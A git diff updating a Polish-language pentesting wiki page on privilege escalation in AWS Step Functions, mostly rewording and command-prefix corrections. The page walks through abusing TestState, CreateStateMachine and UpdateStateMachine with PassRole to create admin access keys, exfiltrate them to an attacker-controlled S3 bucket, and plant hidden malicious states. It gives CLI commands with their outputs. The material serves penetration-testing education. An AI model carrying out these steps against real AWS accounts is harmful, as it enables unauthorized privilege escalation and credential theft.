diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md index 759ab6a8f..b6ab03139 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -4,32 +4,32 @@ ## Step Functions -For more information about this AWS service, check: +Aby uzyskać więcej informacji o tej usłudze AWS, zobacz: {{#ref}} ../../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Zasoby typu Task +### Zasoby Task -Te techniki eskalacji uprawnień będą wymagać użycia niektórych zasobów AWS Step Functions, aby wykonać pożądane działania eskalacji uprawnień. +Te privilege escalation techniques będą wymagały użycia niektórych zasobów Step Functions, aby wykonać żądane privilege escalation actions. -Aby sprawdzić wszystkie możliwe akcje, możesz wejść na swoje konto AWS, wybrać akcję, której chcesz użyć i zobaczyć parametry, których używa, jak na przykład: +Aby sprawdzić wszystkie możliwe akcje, możesz przejść do swojego konta AWS, wybrać akcję, którą chcesz użyć, i zobaczyć używane przez nią parametry, jak na przykład:
-Możesz też zajrzeć do dokumentacji API AWS i sprawdzić dokumentację każdej akcji: +Możesz też przejść do dokumentacji API AWS i sprawdzić dokumentację każdej akcji: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -Atakujący posiadający uprawnienia **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazać do niego dowolną rolę IAM bez tworzenia ani aktualizacji istniejącej maszyny stanów, co potencjalnie umożliwia nieautoryzowany dostęp do innych usług AWS z uprawnieniami tych ról. W połączeniu te uprawnienia mogą prowadzić do rozległych nieautoryzowanych działań — od manipulowania przepływami pracy i modyfikowania danych, przez wycieki danych i manipulację zasobami, aż po eskalację uprawnień. +Atakujący posiadający uprawnienia **`states:TestState`** i **`iam:PassRole`** może testować dowolny stan i przekazywać mu dowolną rolę IAM bez tworzenia lub aktualizacji istniejącej state machine, co potencjalnie pozwala na nieautoryzowany dostęp do innych AWS services z uprawnieniami tych ról. W połączeniu te uprawnienia mogą prowadzić do szerokich nieautoryzowanych działań — od manipulacji workflows i zmiany danych po wycieki danych, manipulację zasobami oraz privilege escalation. ```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +aws stepfunctions test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Taka rola powinna mieć przypisaną dowolną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi wykonać akcję **`iam:CreateAccessKey`**: +Poniższe przykłady pokazują, jak przetestować stan, który tworzy klucz dostępu dla użytkownika **`admin`**, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala stanowi wykonać akcję **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**Potencjalny wpływ**: Nieautoryzowane uruchamianie i manipulacja workflowami oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa. +**Potencjalny wpływ**: Nieautoryzowane uruchamianie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Atakujący posiadający **`states:CreateStateMachine`** i **`iam:PassRole`** będzie mógł utworzyć state machine i przypisać do niej dowolną rolę IAM, co umożliwi nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej privesc technique (**`states:TestState`** & **`iam:PassRole`**), ta nie wykonuje się sama — potrzebne są także uprawnienia **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standard workflows**, **tylko dla express state machines**) aby rozpocząć wykonanie state machine. +Atakujący posiadający uprawnienia **`states:CreateStateMachine`** i **`iam:PassRole`** będzie w stanie utworzyć maszynę stanów i przypisać jej dowolną rolę IAM, co umożliwi nieautoryzowany dostęp do innych usług AWS z uprawnieniami tej roli. W przeciwieństwie do poprzedniej privesc technique (**`states:TestState`** & **`iam:PassRole`**), ta metoda nie wykonuje się sama — potrzebne będą również uprawnienia **`states:StartExecution`** lub **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nie jest dostępne dla standard workflows**, **tylko dla express state machines**), aby uruchomić wykonanie maszyny stanów. ```bash # Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +aws stepfunctions create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] # Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +aws stepfunctions start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] # Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +aws stepfunctions start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Poniższe przykłady pokazują, jak utworzyć state machine, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz do kontrolowanego przez atakującego S3 bucket, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Rola ta powinna mieć przypisaną politykę z wysokimi uprawnieniami (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala state machine wykonać akcje **`iam:CreateAccessKey`** oraz **`s3:putObject`**. +Następujące przykłady pokazują, jak utworzyć maszynę stanów, która tworzy klucz dostępu dla użytkownika **`admin`** i eksfiltruje ten klucz dostępu do kontrolowanego przez atakującego bucketu S3, wykorzystując te uprawnienia oraz rolę o szerokich uprawnieniach w środowisku AWS. Ta rola powinna mieć przypisaną politykę o wysokich uprawnieniach (na przykład **`arn:aws:iam::aws:policy/AdministratorAccess`**), która pozwala maszynie stanów wykonać akcje **`iam:CreateAccessKey`** i **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ Poniższe przykłady pokazują, jak utworzyć state machine, która tworzy klucz } } ``` -- **Polecenie** wykonane w celu **utworzenia maszyny stanów**: +- **Command** wykonany w celu **create the state machine**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **Polecenie** wykonane w celu **rozpoczęcia wykonania** wcześniej utworzonej maszyny stanów: +- **Command** wykonane w celu **start an execution** wcześniej utworzonej state machine: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> Bucket S3 kontrolowany przez atakującego powinien mieć uprawnienia do przyjmowania akcji s3:PutObject z konta ofiary. +> The attacker-controlled S3 bucket should have permissions to accept an s3:PutObject action from the victim account. -**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa. +**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja workflowami oraz dostęp do wrażliwych zasobów, co może prowadzić do poważnych naruszeń bezpieczeństwa. ### `states:UpdateStateMachine` & (nie zawsze wymagane) `iam:PassRole` -Atakujący z uprawnieniem **`states:UpdateStateMachine`** będzie w stanie zmodyfikować definicję maszyny stanów, dodając ukryte stany, które mogą zakończyć się eskalacją uprawnień. W ten sposób, gdy prawidłowy użytkownik uruchomi wykonanie maszyny stanów, nowy złośliwy ukryty stan zostanie wykonany i eskalacja uprawnień powiedzie się. +Atakujący z uprawnieniem **`states:UpdateStateMachine`** może zmodyfikować definicję maszyny stanów, dodając dodatkowe ukryte stany, które mogą doprowadzić do eskalacji uprawnień. W ten sposób, gdy prawidłowy użytkownik uruchomi wykonanie maszyny stanów, ten nowy złośliwy, ukryty stan zostanie wykonany i eskalacja uprawnień zakończy się powodzeniem. -W zależności od tego, jak obszerne są uprawnienia IAM Role skojarzonej z maszyną stanów, atakujący napotka dwa przypadki: +W zależności od tego, jak szerokie uprawnienia ma przypisany do maszyny stanów IAM Role, atakujący napotka 2 sytuacje: -1. **Permissive IAM Role**: Jeśli IAM Role skojarzona z maszyną stanów ma już szerokie uprawnienia (np. ma dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie będzie wymagane do eskalacji uprawnień, ponieważ nie będzie konieczne aktualizowanie IAM Role — sama definicja maszyny stanów wystarczy. -2. **Not permissive IAM Role**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący będzie również potrzebował uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie maszyny stanów z permissive IAM Role oprócz modyfikacji definicji maszyny stanów. +1. **IAM Role o szerokich uprawnieniach**: Jeśli IAM Role powiązana z maszyną stanów już ma szerokie uprawnienia (np. ma dołączoną politykę **`arn:aws:iam::aws:policy/AdministratorAccess`**), to uprawnienie **`iam:PassRole`** nie będzie wymagane do eskalacji uprawnień — wystarczy zmiana definicji maszyny stanów. +2. **IAM Role bez szerokich uprawnień**: W przeciwieństwie do poprzedniego przypadku, tutaj atakujący będzie również potrzebował uprawnienia **`iam:PassRole`**, ponieważ konieczne byłoby powiązanie IAM Role o szerokich uprawnieniach z maszyną stanów oprócz modyfikacji definicji maszyny stanów. ```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +aws stepfunctions update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Następujące przykłady pokazują, jak zmodyfikować prawidłową maszynę stanów, która jedynie wywołuje funkcję HelloWorld Lambda, aby dodać dodatkowy stan, który dodaje użytkownika `unprivilegedUser` do grupy IAM `administrator`. W ten sposób, kiedy uprawniony użytkownik uruchomi wykonanie zaktualizowanej maszyny stanów, nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień zakończy się powodzeniem. +Poniższe przykłady pokazują, jak zaktualizować prawidłową maszynę stanów, która jedynie wywołuje funkcję HelloWorld Lambda, aby dodać dodatkowy stan, który dodaje użytkownika **`unprivilegedUser`** do IAM Group **`administrator`**. Dzięki temu, gdy prawowity użytkownik uruchomi wykonanie zaktualizowanej maszyny stanów, ten nowy złośliwy ukryty stan zostanie wykonany, a eskalacja uprawnień powiedzie się. > [!WARNING] -> Jeżeli maszyna stanów nie ma powiązanej IAM Role o szerokich uprawnieniach, wymagane będzie również uprawnienie `iam:PassRole` do zaktualizowania IAM Role w celu przypisania IAM Role o szerokich uprawnieniach (na przykład takiej z dołączoną polityką `arn:aws:iam::aws:policy/AdministratorAccess`). +> Jeżeli maszyna stanów nie ma przypisanej roli IAM o szerokich uprawnieniach, konieczne będzie również uprawnienie **`iam:PassRole``**, aby zaktualizować rolę IAM w celu powiązania roli IAM o szerokich uprawnieniach (na przykład takiej z dołączoną polityką **`arn:aws:iam::aws:policy/AdministratorAccess`**). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -218,7 +218,7 @@ Następujące przykłady pokazują, jak zmodyfikować prawidłową maszynę stan {{#endtab }} {{#endtabs }} -- **Polecenie** wykonane w celu **zaktualizowania** **legalnej maszyny stanów**: +- **Polecenie** wykonane w celu **zaktualizowania** **oryginalnej maszyny stanów**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulacja przepływami pracy oraz dostęp do zasobów wrażliwych, co może prowadzić do poważnych naruszeń bezpieczeństwa. +**Potencjalny wpływ**: Nieautoryzowane wykonywanie i manipulowanie przepływami pracy oraz uzyskanie dostępu do zasobów wrażliwych, co może prowadzić do poważnych naruszeń bezpieczeństwa. {{#include ../../../../banners/hacktricks-training.md}}